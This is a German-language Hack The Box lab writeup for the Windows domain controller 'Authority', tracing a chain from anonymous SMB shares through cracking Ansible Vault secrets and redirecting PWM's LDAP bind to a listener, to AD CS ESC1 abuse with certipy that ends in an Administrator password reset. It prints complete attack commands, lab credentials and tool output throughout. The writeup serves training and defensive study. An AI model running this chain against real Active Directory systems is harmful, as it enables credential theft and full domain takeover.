← Zurück zu Machines

HTB · published

Authority

Hack The Box CPTS-Track Writeup für Authority: Anonymous SMB Loot, Ansible Vault Secrets, PWM Configuration Abuse, LDAP Bind Capture, WinRM Foothold und AD CS ESC1 zu Administrator.

HTBCPTSWriteupActive DirectoryAD CSESC1PWMAnsible VaultLDAPWinRMMachineWindowsAD Exploitation

Metadaten

  • Name: Authority
  • IP Address: 10.129.7.239
  • Plattform: Windows
  • Kategorie: Active Directory / AD CS / Web / Credential Capture / Automation Secrets
  • Schwierigkeit: Medium
  • Ziel(e): User, Administrator
  • Kurzbeschreibung des Szenarios: Authority ist ein Windows Domain Controller mit IIS, SMB, LDAP/LDAPS, WinRM, ADWS, AD CS und PWM auf Tomcat. Der Angriffspfad startet über anonym lesbare Ansible-Automationdaten, führt über Ansible-Vault-Secrets und PWM-Konfigurationsmissbrauch zum svc_ldap-Credential und endet über AD CS ESC1 mit Administrator-Zugriff.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.7.239
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm

servicescan:

nmap -sC -sV -O -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001 -oN scans/tcp_initial_svco.nmap 10.129.7.239
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
8443/tcp  open  ssl/http      Apache Tomcat
9389/tcp  open  mc-nmf        .NET Message Framing

Domain: authority.htb
Host: AUTHORITY
SMB signing: enabled and required
Clock skew: about 4h

LDAP RootDSE bestätigte Domain und Hostname:

ldapsearch -x -H ldap://10.129.7.239 -s base namingContexts defaultNamingContext dnsHostName
defaultNamingContext: DC=authority,DC=htb
dnsHostName: authority.authority.htb
namingContexts: DC=authority,DC=htb

SMB erlaubte eine anonyme Share-Liste:

smbclient -L //10.129.7.239 -N
ADMIN$
C$
Department Shares
Development
IPC$
NETLOGON
SYSVOL

Der spannende Share war Development, ebenfalls anonym lesbar:

smbclient //10.129.7.239/Development -N
Automation
└── Ansible
    ├── ADCS
    ├── LDAP
    ├── PWM
    └── SHARE

Damit war die Hauptspur klar: Automatisierungsdaten prüfen, besonders alles rund um PWM, LDAP und AD CS.

Exploitation (Foothold)

Ansible Vault Secrets

Im PWM-Ansible-Role lagen mehrere interessante Dateien:

Automation\Ansible\PWM\ansible_inventory
Automation\Ansible\PWM\defaults\main.yml
Automation\Ansible\PWM\templates\tomcat-users.xml.j2

Das Inventory enthielt bereits Deployment-Credentials:

ansible_user: administrator
ansible_password: Welcome1

Die Tomcat-Template-Datei enthielt ebenfalls Credentials:

<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>

Entscheidend waren aber die Ansible-Vault-Blöcke in defaults/main.yml:

pwm_admin_login: !vault |
pwm_admin_password: !vault |
ldap_admin_password: !vault |

Die Vault-Blobs wurden mit ansible2john extrahiert und mit John geknackt:

ansible2john loot/vault_blobs/*.vault > loot/pwm_vault_hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt loot/pwm_vault_hashes.txt
Ansible Vault password: !@#$%^&*

Nach dem Entschlüsseln lagen drei wichtige Werte vor:

pwm_admin_login: svc_pwm
pwm_admin_password: pWm_@dm!N_!23
ldap_admin_password: DevT3st@123

PWM Configuration Manager

Auf Port 8443 lief PWM unter Tomcat:

https://authority.htb:8443/pwm/

Mit den entschlüsselten PWM-Credentials war Login in die private Konfiguration möglich:

svc_pwm : pWm_@dm!N_!23

Der Configuration Manager erlaubte den Download von PwmConfiguration.xml. Darin waren die LDAP-Proxy-Einstellungen sichtbar:

<setting key="ldap.proxy.username">
  <value>CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb</value>
</setting>

<setting key="ldap.serverUrls">
  <value>ldaps://authority.authority.htb:636</value>
</setting>

<setting key="ldap.proxy.password">
  <value>ENC-PW:...</value>
</setting>

Das Passwort war zwar als ENC-PW gespeichert, aber die Konfiguration war editierbar. Statt den Wert offline zu entschlüsseln, wurde PWM dazu gebracht, sich selbst mit dem LDAP-Proxy-Credential bei einem kontrollierten Listener zu verbinden.

Lateral Movement / User Escalation

LDAP Bind Capture über PWM

Die LDAP-URL wurde temporär auf einen eigenen Listener umgebogen:

ldap://10.10.15.109:1389

Danach wurde der LDAP-Healthcheck in PWM getriggert. PWM führte daraufhin einen Simple Bind gegen den Listener aus und sendete die Proxy-Credentials im Klartext:

CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
lDaP_1n_th3_cle4r!

Wichtig: Die ursprüngliche LDAPS-URL wurde direkt wiederhergestellt:

ldaps://authority.authority.htb:636

Mit svc_ldap konnte LDAP enumeriert werden. Der Account war Mitglied der Remote Management Users, wodurch WinRM möglich wurde:

evil-winrm -i authority.authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

User Flag:

type C:\Users\svc_ldap\Desktop\user.txt
2d186[REDACTED-USER-FLAG]e5dc

Privilege Escalation (Root / Domain)

AD CS Enumeration

Mit svc_ldap wurde AD CS geprüft:

certipy-ad find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.129.7.239 -vulnerable -stdout

Certipy fand die CA AUTHORITY-CA und ein verwundbares Template:

CA Name: AUTHORITY-CA
DNS Name: authority.authority.htb

Template Name: CorpVPN
Client Authentication: True
Enrollee Supplies Subject: True
Requires Manager Approval: False
Authorized Signatures Required: 0
Enrollment Rights: AUTHORITY.HTB\Domain Computers

ESC1: Enrollee supplies subject and template allows client authentication.

Das Template war für Domain Computers enrollbar. Da ein normaler User nicht direkt enrollen konnte, wurde ein kontrolliertes Computerobjekt erstellt:

certipy-ad account create \
  -u 'svc_ldap@authority.htb' \
  -p 'lDaP_1n_th3_cle4r!' \
  -dc-ip 10.129.7.239 \
  -user 'SMCERT01$' \
  -pass 'P@ssw0rd123!' \
  -dns 'SMCERT01.authority.htb'

Mit diesem Maschinenkonto wurde ein Zertifikat für Administrator angefordert. Entscheidend waren UPN und SID:

certipy-ad req \
  -u 'SMCERT01$@authority.htb' \
  -p 'P@ssw0rd123!' \
  -dc-ip 10.129.7.239 \
  -target authority.authority.htb \
  -ca 'AUTHORITY-CA' \
  -template 'CorpVPN' \
  -upn 'administrator@authority.htb' \
  -sid 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate object SID is 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Saving certificate and private key to 'admin_sid_corpvpn.pfx'

PKINIT war auf dem Ziel nicht nutzbar:

KDC_ERR_PADATA_TYPE_NOSUPP

Das war aber kein Showstopper. Das Zertifikat konnte stattdessen für Schannel LDAP verwendet werden:

certipy-ad auth \
  -pfx privesc/admin_sid_corpvpn.pfx \
  -dc-ip 10.129.7.239 \
  -domain authority.htb \
  -username administrator \
  -ldap-shell

In der LDAP-Shell wurde das Administrator-Passwort gesetzt:

change_password Administrator 'Adm1nP@ssw0rd!'

Danach war Administrator-WinRM möglich:

evil-winrm -i authority.authority.htb -u Administrator -p 'Adm1nP@ssw0rd!'

Root Flag:

type C:\Users\Administrator\Desktop\root.txt
e6f67[REDACTED-ROOT-FLAG]e87a

Post-Exploitation

  • User Flag: 2d186[REDACTED-USER-FLAG]e5dc
  • Root Flag: e6f67[REDACTED-ROOT-FLAG]e87a
  • Wichtige Accounts: svc_pwm, svc_ldap, SMCERT01$, Administrator
  • Wichtige Dateien: PwmConfiguration.xml, defaults/main.yml, tomcat-users.xml.j2, admin_sid_corpvpn.pfx
  • Wichtige Schwachstellen: Anonymous SMB Read, Ansible Vault mit schwachem Passwort, PWM LDAP-Redirect, AD CS ESC1
  • Cleanup: LDAP-URL in PWM zurücksetzen, temporäre Maschine SMCERT01$ entfernen und geändertes Administrator-Passwort zurückführen, sofern im Lab-Kontext gewünscht.

Lessons Learned

  • Wichtigster Aha-Moment: Das ENC-PW in PWM musste nicht direkt entschlüsselt werden. Es reichte, die Anwendung über den LDAP-Healthcheck selbst zum Klartext-Bind zu bewegen.
  • Früher prüfen: Anonyme SMB-Shares mit Automation-Code sind Gold wert. Besonders Ansible, CI/CD und Deployment-Rollen sollten sofort auf Vaults, Templates und Inventories geprüft werden.
  • Technik merken: AD CS ESC1 bleibt gefährlich, auch wenn nur Computer enrollen dürfen. Machine Account Creation kann diese Einschränkung umgehen.
  • Schannel als Fallback: Wenn PKINIT nicht unterstützt wird, kann ein Zertifikat trotzdem über Schannel LDAP sehr mächtig sein.
  • Operational wichtig: Nach Konfigurationsmissbrauch immer den Originalzustand wiederherstellen, besonders bei produktionsnahen Services wie LDAP-URLs.

Notizen

  • SMB-Signing war aktiv, verhinderte aber keine Datenlecks über falsch berechtigte Shares.
  • Das Tomcat-Template enthielt Credentials, war aber nicht der direkte Hauptpfad.
  • ldap_admin_password: DevT3st@123 aus dem Vault war interessant, aber der belastbare Foothold kam über den gecaptureten svc_ldap-Bind.
  • Das Template CorpVPN hatte lange Gültigkeit und Client Authentication; in echten Umgebungen wäre das ein massiver Persistence-Risikofaktor.